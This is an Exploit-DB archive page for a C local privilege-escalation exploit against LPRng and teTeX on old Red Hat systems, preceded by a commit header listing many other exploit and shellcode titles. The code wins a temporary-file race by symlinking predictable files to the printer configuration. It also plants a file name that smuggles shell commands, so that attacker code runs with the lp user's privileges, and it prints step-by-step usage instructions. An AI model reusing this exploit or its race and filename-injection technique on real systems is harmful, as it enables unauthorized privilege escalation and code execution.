exploit-db-mirror/exploits/linux/local/20990.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

97 lines
No EOL
3.3 KiB
C

/*
source: https://www.securityfocus.com/bid/2974/info
teTeX is a TeX distribution for UNIX compatible systems.
A race condition vulnerability exists in the temporary file handling method used by some teTeX filters. The problem exists because in some cases temporary files are created world-writeable with a predictable filename based on the process ID of the filter. If an attacker is able to determine the name of a temporary file used during the program's operation, a symbolic link could be created pointing to a file writeable by the user running the filter.
When the filters are used by an application that runs with elevated privileges such as LPRng, the potential impact of the attack could become more significant. A local attacker could exploit this vulnerability to cause LPRng to execute arbitrary commands with its elevated privileges.
*/
/********************************************************************
Redhat 7.0 (mebe 7.1 ?)
LPRng-3.7.4-23 (and earlier) + tetex-1.0.7-7 (and earlier?)
Insecure tmp file privilege elevation vulnerability.
Allows uid/gid lp and root groups on LPRng-3.6.24 and earlier
Please note:
-rwxr-xr-x 1 lp lp 444472 Jun 14 22:05 /usr/bin/lpq*
-rwxr-xr-x 1 lp lp 441624 Jun 14 22:05 /usr/bin/lprm*
-rwxr-xr-x 1 lp lp 459160 Jun 14 22:05 /usr/bin/lpr*
-rwxr-xr-x 1 lp lp 448120 Jun 14 22:05 /usr/bin/lpstat*
-rwxr-xr-x 1 lp lp 448320 Jun 14 22:05 /usr/sbin/lpc*
this program allows trojan code to be planted on the machine it is
executed on.
tmp file handling done badly in helper application (dvi print filter)
allows modification to lp config files.
the configuation file is sourced by the master print filter,
which is itself a shell script, each time something is printed.
this makes it possible to insert commands into the configuration file
by creating a special filename to be included in the file that
is created. (see the close(open(" thingee )
Redhat Bugzilla reference:-
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=43342
--zen-parse
requires some fonts get made when its run.
probably won't be a problem unless someone
else has tried this exploit.
just wait 90 days for /var/lib/texmf to clear
and try again ;]
or try print something different
.dvi files are what does the trick.
********************************************************************/
int shake()
{
int f;
char r[1000];
int w;
f=fopen("/proc/loadavg","r");
fscanf(f,"%*s %*s %*s %*s %s",r);
fclose(f);
w=atoi(r);
return w;
}
void cow(char *s,char *t,int ofs)
{
sprintf(s,"/var/lib/texmf/lsR%d.tmp",ofs);
sprintf(t,"%s/lsR%d.tmp",s,ofs);
}
main()
{
char s[1000];
char t[1000];
int y,i;
printf("Put the stuff to run as lp:lp in /tmp/hax\n");
printf("the lpr /usr/share/aspe<tab>/manual.dvi\n");
printf("when the ! comes up, wait a second, then press control-C.\n\n");
printf("Then print something.\n\n\n");
close(open("/var/lib/texmf/cd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd tmp\nexport PATH=.\nhax\nexit 0",65,0666));
while(1)
{
i=shake();
for(y=-30;y<0;y++)
{
cow(s,t,y+i);
if(!access(t,0))
{
printf("!\n");
unlink(t);
symlink("/var/spool/lpd/lp/postscript.cfg",t);
sleep(1);
}
}
}
}